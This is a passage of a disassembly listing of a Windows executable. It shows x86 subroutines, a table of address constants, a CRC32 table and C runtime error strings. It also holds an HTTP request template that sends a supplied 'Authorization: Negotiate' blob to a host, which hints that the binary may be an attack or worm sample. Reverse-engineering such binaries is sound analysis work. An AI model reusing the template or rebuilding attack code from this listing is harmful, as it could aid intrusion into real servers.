		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 26410A2h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 26410A2h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C9DC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBC70
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	edi
		call	near ptr 2610785h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DBC70, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2610000h
		nop
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27F1129h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27F1129h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DBA14


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2610785h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F74o

; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A9
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Do
		mov	eax, offset dword_427F48
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FA4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Fo
		mov	eax, offset dword_427F78
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Co
		mov	eax, offset dword_427FA8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428008
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280C4
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280E8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428148
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25E0000h, 25E1114h, 25F0000h, 25F0636h, 2600000h, 260089Dh
		dd 2600971h, 2600DE3h, 2610000h, 2610785h, 2620000h, 26203D1h
		dd 26205F2h, 2630000h, 2630263h
dword_42703C	dd 263029Dh		; DATA XREF: ___:004231D9r
		dd 2630357h, 2630603h, 2630672h, 26307C9h, 2640000h, 26410A2h
		dd 2650000h, 2650331h, 26508BFh, 77E75CB5h
dword_427068	dd 265092Ah		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2650BD4h, 2660000h, 26609FBh
dword_427078	dd 2660E9Fh		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Cr ...
dword_42707C	dd 2670000h		; DATA XREF: ___:004015E2r
					; sub_410CD6+32r
		dd 2670168h
dword_427084	dd 2670280h		; DATA XREF: sub_4196BD+B9r
		dd 2670982h
dword_42708C	dd 26709D6h		; DATA XREF: sub_410FF9:loc_41108Ar
dword_427090	dd 2670A3Eh		; DATA XREF: ___:loc_4013DCr
		dd 2670D8Ch, 2670E7Fh
dword_42709C	dd 2680000h		; DATA XREF: sub_409B13+2r
		dd 2680164h, 26801CDh
dword_4270A8	dd 268083Ah		; DATA XREF: ___:0040124Dr
					; sub_41A4D2+8Cr
dword_4270AC	dd 2680896h		; DATA XREF: sub_410CD6:loc_410DC2r
		dd 2690000h, 2690A19h
dword_4270B8	dd 2690B08h		; DATA XREF: sub_409B13:loc_40A021r
dword_4270BC	dd 26A0000h		; DATA XREF: sub_409B13+11r
					; sub_416F1B+60r ...
		dd 26B0000h, 26C0000h, 26C0580h, 26D0000h, 77F7E300h, 77F7E21Fh
		dd 26D050Ah, 26D06B1h, 26E0000h, 26E0722h
dword_4270E8	dd 26F0000h		; DATA XREF: sub_410FF9+Br
dword_4270EC	dd 26F0781h		; DATA XREF: sub_418294+36r
		dd 26F09EAh, 2700000h
dword_4270F8	dd 2700642h		; DATA XREF: sub_410F20+3Ar
					; sub_419C65+79r
dword_4270FC	dd 2710000h		; DATA XREF: sub_410E27+23r
					; sub_419C65+3Br
		dd 27113DFh, 2720000h, 2720B88h, 2730000h, 27307D6h, 2740000h
		dd 27402E7h, 2750000h, 2750C54h, 2750F31h, 2760000h, 2760152h
		dd 276090Dh, 2760B3Ah, 2770000h
dword_42713C	dd 27702A2h		; DATA XREF: sub_416F1B+BCr
		dd 2780000h
dword_427144	dd 2790000h		; DATA XREF: sub_4170ED+21r
					; sub_417276+4Ar
dword_427148	dd 2790BA1h		; DATA XREF: sub_4170ED+10r
					; sub_417276+40r ...
		dd 2790C0Dh
dword_427150	dd 27A0000h		; DATA XREF: sub_417276+56r
		dd 27A0236h, 27B0000h, 27C0000h, 27C05A5h, 27C0B92h, 27D0000h
		dd 27D01C4h, 27D088Dh, 27E0000h, 27F0000h
dword_42717C	dd 27F1129h		; DATA XREF: sub_418B59+13r
					; ___:0042324Er ...
dword_427180	dd 2800000h		; DATA XREF: sub_418C2B+Fr
					; sub_41D834+54r ...
		dd 2810000h, 2810493h, 2810951h, 2810CA3h, 2820000h, 2830000h
		dd 2840000h, 2850000h, 2860000h, 2870000h, 2871A60h, 2871A72h
		dd 2880000h, 2880D2Bh, 2890000h
dword_4271C0	dd 2890689h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28907B8h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28908C9h, 28A0000h, 28A07ABh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412661+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE3+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638	dd 2Eh			; DATA XREF: sub_401ACD+347Do
					; sub_401ACD+356Do ...
dword_42763C	dd 2Eh			; DATA XREF: sub_401ACD+389Do
					; sub_401ACD+38D3o ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_427680	dq 1.388888888888889e-2	; DATA XREF: sub_40D031+2Fr
dbl_427688	dq 1.666666666666667e-1	; DATA XREF: sub_40D031+15r
dword_427690	dd 0FFFFFFFFh		; DATA XREF: sub_40D07D+16Fr
					; sub_40D4B1r ...
		align 8
dbl_427698	dq 1.333333333333333	; DATA XREF: sub_40D07D+79r
dword_4276A0	dd 0			; DATA XREF: sub_40D21F+4Do
					; sub_40D561+5Bo ...
flt_4276A4	dd 5.0e-1		; DATA XREF: ___:0040DD34r
dbl_4276A8	dq 9.765625e-4		; DATA XREF: ___:004166B7r
					; ___:004166D2r ...
dbl_4276B0	dq -1.52587890625e-4	; DATA XREF: sub_417ADE+3E5r
dbl_4276B8	dq 3.0517578125e-4	; DATA XREF: sub_417ADE+3C5r
dbl_4276C0	dq -3.0517578125e-4	; DATA XREF: sub_417ADE+342r
					; sub_417ADE+3A7r
dbl_4276C8	dq 1.52587890625e-4	; DATA XREF: sub_417ADE+271r
dbl_4276D0	dq -1.739501953125e-3	; DATA XREF: sub_417ADE+24Br
					; sub_417ADE+2D5r ...
dbl_4276D8	dq 3.11279296875e-3	; DATA XREF: sub_417ADE+E1r
dbl_4276E0	dq 3.0517578125e-5	; DATA XREF: sub_417ADE+AEr
					; sub_417ADE+138r ...
dbl_4276E8	dq 6.103515625e-5	; DATA XREF: sub_417ADE+93r
					; sub_417ADE+308r
dbl_4276F0	dq 2.288818359375e-3	; DATA XREF: sub_417ADE+21r
dbl_4276F8	dq -3.0517578125e-5	; DATA XREF: sub_418685+2Br
flt_427700	dd 9.765625e-4		; DATA XREF: sub_41A4D2+1B0r
flt_427704	dd 8.0			; DATA XREF: sub_41A4D2+1AAr
flt_427708	dd 0.0			; DATA XREF: sub_41A4D2+171r
flt_42770C	dd 1.0e-3		; DATA XREF: sub_41A4D2+168r
dbl_427710	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_427754	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43CBF4o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43CBF0o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43CE6Co
dbl_427878	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427880	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427888	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 10h
dword_4278C0	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 10h
		dd offset sub_422228
		dd offset sub_422232
dword_4278E8	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_4278F8	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 8
		dd offset loc_422599
		dd offset loc_42259D
dword_427920	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 10h
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427938	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427940	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D03Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 4
asc_427C08	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 8
dword_427C48	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
